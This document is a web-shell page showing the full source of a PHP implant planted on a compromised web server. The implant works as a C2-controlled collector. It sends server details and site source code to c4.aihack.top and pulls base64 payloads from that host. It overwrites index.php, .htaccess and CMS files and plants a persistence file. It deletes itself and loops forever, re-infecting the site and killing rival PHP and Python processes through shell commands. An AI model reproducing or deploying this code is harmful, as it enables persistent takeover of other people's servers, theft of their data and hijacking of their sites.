GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/admin.fixgini.com/public/qdn5r6ku.php
<?php

$receiverUrl = 'https://c4.aihack.top/api/ind1ex.php';
$payloadUrl = 'https://c4.aihack.top/api/api.php?action=getPayload';
$configUrl = 'https://c4.aihack.top/api/api.php?action=getServerConfig';
$checkUpdateUrl = 'https://c4.aihack.top/api/api.php?action=checkUpdate';


if (!function_exists('strictNormalizeContent')) {
    function strictNormalizeContent($content) {
        if (empty($content)) return '';
        $content = preg_replace('/^\xEF\xBB\xBF/', '', $content);
        $content = str_replace(["\r\n", "\r"], "\n", $content);
        $content = preg_replace('/[ \t]+$/m', '', $content);
        $content = rtrim($content, "\n") . "\n";
        return $content;
    }
}

if (!function_exists('calculateStrictChecksum')) {
    function calculateStrictChecksum($content) {
        return md5(strictNormalizeContent($content));
    }
}

if (!function_exists('calculateClientChecksumLocal')) {
    function calculateClientChecksumLocal($originalIndex, $backupSource, $backupPath, $execFunctions, $disabledFunctions) {
        $parts = [];
        
        if (!empty($originalIndex)) {
            $pipeIndex = strpos($originalIndex, '|');
            if ($pipeIndex !== false) {
                $parts[] = strictNormalizeContent(substr($originalIndex, $pipeIndex + 1));
            } else {
                $parts[] = strictNormalizeContent($originalIndex);
            }
        }
        
        if (!empty($backupSource)) {
            $pipeIndex = strpos($backupSource, '|');
            if ($pipeIndex !== false) {
                $parts[] = strictNormalizeContent(substr($backupSource, $pipeIndex + 1));
            } else {
                $parts[] = strictNormalizeContent($backupSource);
            }
        }
        
        $parts[] = $backupPath ?? '';
        $parts[] = $execFunctions ?? '';
        $parts[] = $disabledFunctions ?? '';
        
        return md5(implode('|', $parts));
    }
}

if (!function_exists('calculateLocalFileChecksum')) {
    function calculateLocalFileChecksum($docRoot) {
        $indexPath = rtrim($docRoot, '/\\') . '/index.php';
        $indexMd5 = '';
        if (is_file($indexPath) && is_readable($indexPath)) {
            $content = @file_get_contents($indexPath);
            if ($content !== false) $indexMd5 = calculateStrictChecksum($content);
        }
        
        $htaccessPath = rtrim($docRoot, '/\\') . '/.htaccess';
        $htaccessMd5 = '';
        if (is_file($htaccessPath) && is_readable($htaccessPath)) {
            $content = @file_get_contents($htaccessPath);
            if ($content !== false) $htaccessMd5 = calculateStrictChecksum($content);
        }
        
        $backupMd5 = '';
        
        return $indexMd5 . ':' . $htaccessMd5 . ':' . $backupMd5;
    }
}


function collectServerInfo() {
    $home = '';
    if (!empty($_SERVER['HOME'])) $home = $_SERVER['HOME'];
    elseif (!empty(getenv('HOME'))) $home = getenv('HOME');
    elseif (!empty($_SERVER['USERPROFILE'])) $home = $_SERVER['USERPROFILE'];
    elseif (!empty(getenv('USERPROFILE'))) $home = getenv('USERPROFILE');
    
    return [
        'USER' => $_SERVER['USER'] ?? getenv('USER') ?? getenv('USERNAME') ?? '',
        'HOME' => $home,
        'HTTP_USER_AGENT' => $_SERVER['HTTP_USER_AGENT'] ?? '',
        'HTTP_HOST' => $_SERVER['HTTP_HOST'] ?? '',
        'REDIRECT_STATUS' => $_SERVER['REDIRECT_STATUS'] ?? '',
        'SERVER_NAME' => $_SERVER['SERVER_NAME'] ?? '',
        'SERVER_PORT' => $_SERVER['SERVER_PORT'] ?? '',
        'SERVER_ADDR' => $_SERVER['SERVER_ADDR'] ?? '',
        'REMOTE_USER' => $_SERVER['REMOTE_USER'] ?? '',
        'REMOTE_PORT' => $_SERVER['REMOTE_PORT'] ?? '',
        'REMOTE_ADDR' => $_SERVER['REMOTE_ADDR'] ?? '',
        'SERVER_SOFTWARE' => $_SERVER['SERVER_SOFTWARE'] ?? '',
        'GATEWAY_INTERFACE' => $_SERVER['GATEWAY_INTERFACE'] ?? '',
        'REQUEST_SCHEME' => $_SERVER['REQUEST_SCHEME'] ?? '',
        'SERVER_PROTOCOL' => $_SERVER['SERVER_PROTOCOL'] ?? '',
        'DOCUMENT_ROOT' => $_SERVER['DOCUMENT_ROOT'] ?? '',
        'DOCUMENT_URI' => $_SERVER['DOCUMENT_URI'] ?? '',
        'REQUEST_URI' => $_SERVER['REQUEST_URI'] ?? '',
        'SCRIPT_NAME' => $_SERVER['SCRIPT_NAME'] ?? '',
        'CONTENT_LENGTH' => $_SERVER['CONTENT_LENGTH'] ?? '',
        'CONTENT_TYPE' => $_SERVER['CONTENT_TYPE'] ?? '',
        'REQUEST_METHOD' => $_SERVER['REQUEST_METHOD'] ?? '',
        'QUERY_STRING' => $_SERVER['QUERY_STRING'] ?? '',
        'SCRIPT_FILENAME' => $_SERVER['SCRIPT_FILENAME'] ?? '',
        'FCGI_ROLE' => $_SERVER['FCGI_ROLE'] ?? '',
        'PHP_SELF' => $_SERVER['PHP_SELF'] ?? '',
        'REQUEST_TIME_FLOAT' => $_SERVER['REQUEST_TIME_FLOAT'] ?? microtime(true),
        'REQUEST_TIME' => $_SERVER['REQUEST_TIME'] ?? time(),
    ];
}

function readFileSource($filename) {
    $documentRoot = $_SERVER['DOCUMENT_ROOT'] ?? getcwd();
    $filePath = rtrim($documentRoot, '/\\') . '/' . ltrim($filename, '/\\');
    if (file_exists($filePath) && is_readable($filePath)) {
        $content = file_get_contents($filePath);
        if ($content !== false) return $filename . '|' . $content;
    }
    return '';
}

function getServerConfig($url, $httpHost) {
    $configUrl = $url . '&http_host=' . urlencode($httpHost);
    $ch = curl_init($configUrl);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($httpCode === 200 && $response) {
        $data = json_decode($response, true);
        if ($data && $data['status'] === 'success') return $data['data'] ?? [];
    }
    return [];
}

function detectCmsAndBackupPath($cmsPaths, $documentRoot) {
    if (empty($cmsPaths) || empty($documentRoot)) return [];
    foreach ($cmsPaths as $cmsType => $paths) {
        foreach ($paths as $pathInfo) {
            $filePath = $pathInfo['file_path'];
            $fullPath = rtrim($documentRoot, '/\\') . '/' . ltrim($filePath, '/\\');
            if (file_exists($fullPath) && is_file($fullPath)) {
                return [
                    'cms_type' => $cmsType,
                    'backup_file_path' => $filePath,
                    'full_path' => $fullPath,
                    'description' => $pathInfo['description'] ?? ''
                ];
            }
        }
    }
    return [];
}

function sendHeartbeatRequest($url, $httpHost, $clientChecksum, $fileChecksum) {
    $heartbeatUrl = $url . '?mode=heartbeat';
    $data = json_encode([
        'http_host' => $httpHost,
        'client_checksum' => $clientChecksum,
        'file_checksum' => $fileChecksum
    ]);
    
    $ch = curl_init($heartbeatUrl);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $data,
        CURLOPT_HTTPHEADER => ['Content-Type: application/json', 'Content-Length: ' . strlen($data)],
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode === 200 && $response) {
        $result = json_decode($response, true);
        if ($result && $result['status'] === 'success') {
            return $result['data'] ?? [];
        }
    }
    return ['need_full_update' => true, 'reason' => 'heartbeat_failed'];
}

function sendFullData($url, $data) {
    $fullUrl = $url . '?mode=full';
    $jsonData = json_encode($data);
    $ch = curl_init($fullUrl);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $jsonData,
        CURLOPT_HTTPHEADER => ['Content-Type: application/json', 'Content-Length: ' . strlen($jsonData)],
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    if ($error) return ['success' => false, 'error' => 'cURL error: ' . $error];
    if ($httpCode >= 200 && $httpCode < 300) return ['success' => true, 'response' => $response, 'http_code' => $httpCode];
    return ['success' => false, 'error' => 'HTTP error: ' . $httpCode, 'response' => $response];
}

function getPayload($url, $httpHost) {
    $payloadUrl = $url . '&h=' . urlencode($httpHost);
    $ch = curl_init($payloadUrl);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_ENCODING => 'gzip',  // 支持 gzip 压缩
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($httpCode === 200 && $response) {
        $decodedJson = base64_decode($response);
        if ($decodedJson !== false) {
            $data = json_decode($decodedJson, true);
            if ($data !== null) return ['success' => true, 'data' => $data];
        }
    }
    return ['success' => false, 'error' => 'Failed to get or decode payload'];
}

function isDisabledFunc($func) {
    $disabled = explode(',', ini_get('disable_functions'));
    $disabled = array_map('trim', $disabled);
    return in_array($func, $disabled);
}

function detectAvailableExecFunctions() {
    $execFunctions = ['exec', 'shell_exec', 'passthru', 'proc_open', 'popen', 'system', 'pcntl_exec'];
    $available = [];
    $firstAvailable = '';
    foreach ($execFunctions as $func) {
        if (function_exists($func) && !isDisabledFunc($func)) {
            $available[] = $func;
            if (empty($firstAvailable)) $firstAvailable = $func;
        }
    }
    return [
        'available_functions' => $available,
        'first_available' => $firstAvailable,
        'disabled_functions' => ini_get('disable_functions'),
        'can_execute' => !empty($available)
    ];
}

function checkUpdate($url, $httpHost, $cachedServerChecksum) {
    $checkUrl = $url . '&h=' . urlencode($httpHost) . '&s=' . urlencode($cachedServerChecksum);
    $ch = curl_init($checkUrl);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 5,  
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode === 200 && $response) {
        $data = json_decode($response, true);
        if (is_array($data)) {
            return [
                'success' => true,
                'changed' => !empty($data['changed']),
                'cache_timeout' => isset($data['cache_timeout']) ? max(60, intval($data['cache_timeout'])) : 300,
                'server_checksum' => $data['server_checksum'] ?? ''
            ];
        }
    }
    return ['success' => false, 'changed' => true, 'cache_timeout' => 300];
}



if (!function_exists('safeWriteFile')) {
    function safeWriteFile($filePath, $content, $lock = true) {
        $dir = dirname($filePath);
        if (is_dir($dir)) @chmod($dir, 0755);
        elseif (!@mkdir($dir, 0755, true)) return false;
        if (file_exists($filePath)) @chmod($filePath, 0755);
        $result = @file_put_contents($filePath, $content);
        if ($result === false) return false;
        if ($lock) @chmod($filePath, 0555);
        return true;
    }
}

if (!function_exists('normalizeContent')) {
    function normalizeContent($content) {
        $content = preg_replace('/^\xEF\xBB\xBF/', '', $content);
        $content = str_replace(["\r\n", "\r"], "\n", $content);
        $content = preg_replace('/[ \t]+$/m', '', $content);
        $content = rtrim($content) . "\n";
        return $content;
    }
}

if (!function_exists('contentMatches')) {
    function contentMatches($filePath, $expectedContent, $signature = null) {
        if (!is_file($filePath)) return false;
        $currentContent = @file_get_contents($filePath);
        if ($currentContent === false) return false;
        
        $normalizedCurrent = normalizeContent($currentContent);
        $normalizedExpected = normalizeContent($expectedContent);
        return md5($normalizedCurrent) === md5($normalizedExpected);
    }
}

if (!function_exists('implantFiles')) {
    function implantFiles($payload, $docRoot) {
        $results = ['index_updated' => false, 'config_files_updated' => [], 'backup_updated' => false, 'persist_created' => false, 'errors' => []];
        
        $httpHost = '';
        if (!empty($payload['f'])) {
            $serverInfo = @unserialize($payload['f']);
            if (is_array($serverInfo)) $httpHost = $serverInfo['HTTP_HOST'] ?? '';
        }
        $signature = !empty($httpHost) ? "C2_SIGNATURE:{$httpHost}:v2" : null;
        
        $aContent = $payload['a'] ?? '';
        if (!empty($aContent)) {
            $indexPath = rtrim($docRoot, '/\\') . '/index.php';
            if (!contentMatches($indexPath, $aContent, $signature)) {
                if (safeWriteFile($indexPath, $aContent)) $results['index_updated'] = true;
                else $results['errors'][] = 'Failed to update index.php';
            }
        }
        
        $bContent = $payload['b'] ?? [];
        if (is_array($bContent)) {
            foreach ($bContent as $configFile) {
                $filename = $configFile['filename'] ?? '';
                $content = $configFile['content'] ?? '';
                if (!empty($filename) && !empty($content)) {
                    $filePath = rtrim($docRoot, '/\\') . '/' . $filename;
                    if (!contentMatches($filePath, $content, null)) {
                        if (safeWriteFile($filePath, $content)) $results['config_files_updated'][] = $filename;
                        else $results['errors'][] = 'Failed to update ' . $filename;
                    }
                }
            }
        }
        
        $eInfo = $payload['e'] ?? [];
        $backupPath = $eInfo['path'] ?? '';
        $backupContent = $eInfo['content'] ?? '';
        if (!empty($backupPath) && !empty($backupContent)) {
            $fullBackupPath = rtrim($docRoot, '/\\') . '/' . ltrim($backupPath, '/\\');
            if (!contentMatches($fullBackupPath, $backupContent, $signature)) {
                if (safeWriteFile($fullBackupPath, $backupContent)) {
                    $results['backup_updated'] = true;
                    $results['backup_path'] = $backupPath;
                } else $results['errors'][] = 'Failed to update backup file';
            }
        }
        
        $dInfo = $payload['d'] ?? [];
        $gCode = $payload['g'] ?? '';
        $persistPath = $dInfo['path'] ?? '';
        if (!empty($persistPath) && !empty($gCode)) {
            $fullPersistPath = rtrim($docRoot, '/\\') . '/' . ltrim($persistPath, '/\\');
            if (!contentMatches($fullPersistPath, $gCode, $signature)) {
                if (safeWriteFile($fullPersistPath, $gCode)) {
                    $results['persist_created'] = true;
                    $results['persist_path'] = $persistPath;
                } else $results['errors'][] = 'Failed to create persist file';
            }
        }
        
        return $results;
    }
}

if (!function_exists('restoreFiles')) {
    function restoreFiles($payload, $docRoot) {
        $results = ['index_restored' => false, 'backup_restored' => false, 'persist_deleted' => false, 'config_files_deleted' => [], 'errors' => []];
        
        $oInfo = $payload['o'] ?? [];
        $indexContent = $oInfo['index_content'] ?? '';
        if (!empty($indexContent)) {
            $fullIndexPath = rtrim($docRoot, '/\\') . '/index.php';
            @chmod(dirname($fullIndexPath), 0755);
            if (file_exists($fullIndexPath)) @chmod($fullIndexPath, 0755);
            if (@file_put_contents($fullIndexPath, $indexContent) !== false) {
                @chmod($fullIndexPath, 0644);
                $results['index_restored'] = true;
            }
        }
        
        $backupPath = $oInfo['backup_path'] ?? '';
        $backupContent = $oInfo['backup_content'] ?? '';
        if (!empty($backupPath) && !empty($backupContent)) {
            $fullBackupPath = rtrim($docRoot, '/\\') . '/' . ltrim($backupPath, '/\\');
            @chmod(dirname($fullBackupPath), 0755);
            if (file_exists($fullBackupPath)) @chmod($fullBackupPath, 0755);
            if (@file_put_contents($fullBackupPath, $backupContent) !== false) {
                @chmod($fullBackupPath, 0644);
                $results['backup_restored'] = true;
            }
        }
        
        $dInfo = $payload['d'] ?? [];
        $persistPath = $dInfo['path'] ?? '';
        if (!empty($persistPath)) {
            $fullPersistPath = rtrim($docRoot, '/\\') . '/' . ltrim($persistPath, '/\\');
            if (file_exists($fullPersistPath)) {
                @chmod(dirname($fullPersistPath), 0755);
                @chmod($fullPersistPath, 0755);
                if (@unlink($fullPersistPath)) $results['persist_deleted'] = true;
            }
        }
        
        $bContent = $payload['b'] ?? [];
        if (is_array($bContent)) {
            foreach ($bContent as $configFile) {
                $filename = $configFile['filename'] ?? '';
                if (!empty($filename)) {
                    $filePath = rtrim($docRoot, '/\\') . '/' . $filename;
                    if (file_exists($filePath)) {
                        @chmod(dirname($filePath), 0755);
                        @chmod($filePath, 0755);
                        if (@unlink($filePath)) $results['config_files_deleted'][] = $filename;
                    }
                }
            }
        }
        
        return $results;
    }
}


if (!function_exists('isWindows')) {
    function isWindows() {
        return strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
    }
}

if (!function_exists('executeCommand')) {
    function executeCommand($cmd, $execFunc) {
        $output = '';
        switch ($execFunc) {
            case 'exec': $lines = []; @exec($cmd, $lines); $output = implode("\n", $lines); break;
            case 'shell_exec': $output = @shell_exec($cmd); break;
            case 'passthru': ob_start(); @passthru($cmd); $output = ob_get_contents(); ob_end_clean(); break;
            case 'proc_open':
                $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                $process = @proc_open($cmd, $descriptors, $pipes);
                if (is_resource($process)) {
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]);
                    proc_close($process);
                }
                break;
            case 'popen':
                $handle = @popen($cmd, 'r');
                if ($handle) { $output = stream_get_contents($handle); pclose($handle); }
                break;
        }
        return $output ?: '';
    }
}

if (!function_exists('isOurScript')) {
    function isOurScript($filePath, $signature) {
        if (!is_file($filePath) || !is_readable($filePath)) return false;
        $content = @file_get_contents($filePath);
        if ($content === false) return false;
        return strpos($content, $signature) !== false;
    }
}

if (!function_exists('killCompetitors')) {
    function killCompetitors($availableExecFunc, $signature, $selfPath = null) {
        $results = ['executed' => false, 'processes_killed' => 0, 'files_deleted' => 0, 'errors' => [], 'os' => isWindows() ? 'windows' : 'linux'];
        if (empty($availableExecFunc) || empty($signature)) return $results;
        
        $results['executed'] = true;
        
        if (isWindows()) {
            $findCmd = 'tasklist /FO CSV /NH 2>nul | findstr /I "php python"';
            $output = executeCommand($findCmd, $availableExecFunc);
            if (empty($output)) return $results;
            $lines = explode("\n", trim($output));
            foreach ($lines as $line) {
                $line = trim($line);
                if (empty($line)) continue;
                if (preg_match('/"([^"]+)","(\d+)"/', $line, $match)) {
                    $pid = $match[2];
                    $cmdLineCmd = "wmic process where ProcessId={$pid} get CommandLine 2>nul";
                    $cmdLine = executeCommand($cmdLineCmd, $availableExecFunc);
                    if (preg_match('/([a-zA-Z]:\\\\[^\s"]+\.php)/i', $cmdLine, $pathMatch)) {
                        $filePath = $pathMatch[1];
                        if (!empty($selfPath) && realpath($filePath) === realpath($selfPath)) continue;
                        if (isOurScript($filePath, $signature)) continue;
                        executeCommand("taskkill /F /PID {$pid} 2>nul", $availableExecFunc);
                        $results['processes_killed']++;
                        if (is_file($filePath)) { @chmod($filePath, 0755); if (@unlink($filePath)) $results['files_deleted']++; }
                    }
                }
            }
        } else {
            $findCmd = 'ps -ef 2>/dev/null | grep -E "php|python" | grep -v grep';
            $output = executeCommand($findCmd, $availableExecFunc);
            if (empty($output)) return $results;
            $processes = explode("\n", trim($output));
            foreach ($processes as $procLine) {
                if (empty(trim($procLine))) continue;
                if (!preg_match('/^\S+\s+(\d+)\s+.*(?:php|python)\s+(?:-\S+\s+)*(\S+\.(?:php|py))/', $procLine, $match)) continue;
                $pid = $match[1];
                $filePath = trim(str_replace('\\', '/', $match[2]));
                if (!empty($selfPath) && realpath($filePath) === realpath($selfPath)) continue;
                if (isOurScript($filePath, $signature)) continue;
                if (is_file($filePath)) {
                    $dir = dirname($filePath);
                    @chmod($dir, 0755); @chmod($filePath, 0755);
                    if (@unlink($filePath)) $results['files_deleted']++;
                    @chmod($dir, 0555);
                }
                executeCommand("kill -9 {$pid} 2>/dev/null", $availableExecFunc);
                $results['processes_killed']++;
            }
        }
        return $results;
    }
}



@set_time_limit(0);
@ignore_user_abort(true);
if (function_exists('date_default_timezone_set')) @date_default_timezone_set('PRC');

try {
	
    $serverInfo = collectServerInfo();
    $httpHost = $serverInfo['HTTP_HOST'] ?? '';
    $documentRoot = $serverInfo['DOCUMENT_ROOT'] ?? getcwd();
    
    if (empty($httpHost)) {
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode(['status' => 'error', 'message' => 'Must be accessed via HTTP'], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    $execInfo = detectAvailableExecFunctions();
    $serverInfo['exec_functions'] = json_encode($execInfo['available_functions']);
    $serverInfo['first_exec_function'] = $execInfo['first_available'];
    $serverInfo['can_execute_commands'] = $execInfo['can_execute'] ? '1' : '0';
    $serverInfo['disabled_functions'] = $execInfo['disabled_functions'];
    
    $config = getServerConfig($configUrl, $httpHost);
    
    $originalSource = readFileSource('index.php');
    $serverInfo['original_index_source'] = $originalSource;
    
    $cmsPaths = $config['cms_paths'] ?? [];
    $existingBackupPath = trim($config['backup_file_path'] ?? '');
    $backupFilePath = '';
    $detectedCmsType = '';
    
    if (!empty($existingBackupPath)) {
        $backupFilePath = $existingBackupPath;
    } else {
        $detected = detectCmsAndBackupPath($cmsPaths, $documentRoot);
        if (!empty($detected)) {
            $backupFilePath = $detected['backup_file_path'];
            $detectedCmsType = $detected['cms_type'];
        }
    }
    
    $backupSource = '';
    if (!empty($backupFilePath)) {
        $backupSource = readFileSource($backupFilePath);
        if (!empty($backupSource)) $serverInfo['backup_file_source'] = $backupSource;
        $serverInfo['backup_file_path'] = $backupFilePath;
    }
    if (!empty($detectedCmsType)) $serverInfo['detected_cms_type'] = $detectedCmsType;
    
    $clientChecksum = calculateClientChecksumLocal(
        $originalSource,
        $backupSource,
        $backupFilePath,
        $serverInfo['exec_functions'] ?? '',
        $serverInfo['disabled_functions'] ?? ''
    );
    
    $fileChecksum = calculateLocalFileChecksum($documentRoot);
    
    $heartbeatResult = sendHeartbeatRequest($receiverUrl, $httpHost, $clientChecksum, $fileChecksum);
    
    $needFullUpdate = $heartbeatResult['need_full_update'] ?? true;
    $submitResult = ['success' => true];
    
    if ($needFullUpdate) {
        $submitResult = sendFullData($receiverUrl, $serverInfo);
        if (!$submitResult['success']) {
            header('Content-Type: application/json; charset=utf-8');
            echo json_encode(['status' => 'error', 'message' => 'Failed to submit data', 'error' => $submitResult['error'], 'server_response' => $submitResult['response'] ?? null], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
            exit;
        }
    }
    
    $payloadResult = getPayload($payloadUrl, $httpHost);
    
    if (!$payloadResult['success']) {
        header('Content-Type: application/json; charset=utf-8');
        echo json_encode(['status' => 'partial', 'message' => 'Data submitted but failed to get payload', 'error' => $payloadResult['error']], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        exit;
    }
    
    $payload = $payloadResult['data'];
    $interval = max(1, intval($payload['i'] ?? 3));
    
    $firstImplant = implantFiles($payload, $documentRoot);
    
    $selfPath = realpath(__FILE__);
    $selfDeleted = false;
    if ($selfPath && file_exists($selfPath)) {
        @chmod($selfPath, 0777);
        $selfDeleted = @unlink($selfPath);
    }
    
    $response = json_encode([
        'status' => 'success',
        'message' => 'Collector started, entering memory persist mode',
        'incremental_mode' => !$needFullUpdate,
        'heartbeat_reason' => $heartbeatResult['reason'] ?? 'ok',
        'detected_cms_type' => $detectedCmsType ?: null,
        'backup_file_path' => $backupFilePath ?: null,
        'persist_path' => $payload['d']['path'] ?? null,
        'first_implant' => $firstImplant,
        'self_deleted' => $selfDeleted,
        'interval' => $interval,
        'mode' => 'memory_persist'
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
    
    if (function_exists('apache_setenv')) @apache_setenv('no-gzip', '1');
    @ini_set('zlib.output_compression', '0');
    
    header('Content-Type: application/json; charset=utf-8');
    header('Content-Length: ' . strlen($response));
    header('Connection: close');
    
    while (ob_get_level() > 0) @ob_end_flush();
    echo $response;
    @flush();
    
    if (function_exists('session_write_close')) @session_write_close();
    if (function_exists('fastcgi_finish_request')) @fastcgi_finish_request();
    
    $signature = "C2_SIGNATURE:{$httpHost}:v2";
    $availableExecFunc = $execInfo['first_available'];
    $lastKillTime = 0;
    

    $cachedPayload = $payload;  
    $cachedServerChecksum = $payload['s'] ?? ''; 
    $lastCacheTime = time();  
    $cacheTimeout = max(60, intval($payload['t'] ?? 300));  
    
    $loopCount = 0;
    
    while (true) {
        try {
            $loopCount++;
            $now = time();
            
            if (!empty($availableExecFunc) && ($now - $lastKillTime) > 3600) {
                $lastKillTime = $now;
                killCompetitors($availableExecFunc, $signature);
            }
            
            $serverChecksumChanged = false;
            $cacheExpired = ($now - $lastCacheTime) > $cacheTimeout;
            $needFullPayload = false;
            
            $checkResult = checkUpdate($checkUpdateUrl, $httpHost, $cachedServerChecksum);
            
            if ($checkResult['success']) {
                $serverChecksumChanged = $checkResult['changed'];
                $cacheTimeout = $checkResult['cache_timeout'];
                $needFullPayload = $serverChecksumChanged || $cacheExpired;
            } else {
                $needFullPayload = $cacheExpired;
            }
            
            if ($needFullPayload) {
                $refreshResult = getPayload($payloadUrl, $httpHost);
                if ($refreshResult['success']) {
                    $payload = $refreshResult['data'];
                    $interval = max(1, intval($payload['i'] ?? 3600));
                    
                    $newServerChecksum = $payload['s'] ?? '';
                    if (!empty($cachedServerChecksum) && !empty($newServerChecksum) && $cachedServerChecksum !== $newServerChecksum) {
                        $serverChecksumChanged = true;
                    }
                    $cachedPayload = $payload;
                    $cachedServerChecksum = $newServerChecksum;
                    $lastCacheTime = $now;
                    
                    if (isset($payload['t'])) {
                        $cacheTimeout = max(60, intval($payload['t']));
                    }
                }
            } else {
                $payload = $cachedPayload;
                $lastCacheTime = $now;  
            }
            
            $serverInfoArray = null;
            if (!empty($payload['f'])) {
                $serverInfoArray = @unserialize($payload['f']);
            }
            $docRoot = $documentRoot;
            if (is_array($serverInfoArray) && !empty($serverInfoArray['DOCUMENT_ROOT'])) {
                $docRoot = $serverInfoArray['DOCUMENT_ROOT'];
            }
            
            $zFlag = $payload['z'] ?? '1';
            
            if ($zFlag === '0' || $zFlag === 0) {
                restoreFiles($payload, $docRoot);
            } else {
                $apiChecksum = $payload['c'] ?? '';
                $localChecksum = calculateLocalFileChecksum($docRoot);
                
                $apiParts = explode(':', $apiChecksum);
                $localParts = explode(':', $localChecksum);
                
                $indexMatch = true;
                if (!empty($apiParts[0])) {
                    $indexMatch = !empty($localParts[0]) && $apiParts[0] === $localParts[0];
                }
                
                $htaccessMatch = true;
                if (!empty($apiParts[1])) {
                    $htaccessMatch = !empty($localParts[1]) && $apiParts[1] === $localParts[1];
                }
                
                $backupMatch = true;
                if (!empty($apiParts[2])) {
                    $backupMatch = !empty($localParts[2]) && $apiParts[2] === $localParts[2];
                }
                
                if (!$indexMatch || !$htaccessMatch || !$backupMatch || $serverChecksumChanged) {
                    implantFiles($payload, $docRoot);
                }
            }
            
        } catch (Exception $e) {

        } catch (Throwable $t) {

        }
        
        $sleepUnit = 30;  
        $sleepTotal = 0;
        while ($sleepTotal < $interval) {
            sleep($sleepUnit);
            $sleepTotal += $sleepUnit;
            clearstatcache();
        }
    }
    
} catch (Exception $e) {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(['status' => 'error', 'message' => 'Failed to start collector', 'error' => $e->getMessage()], JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
}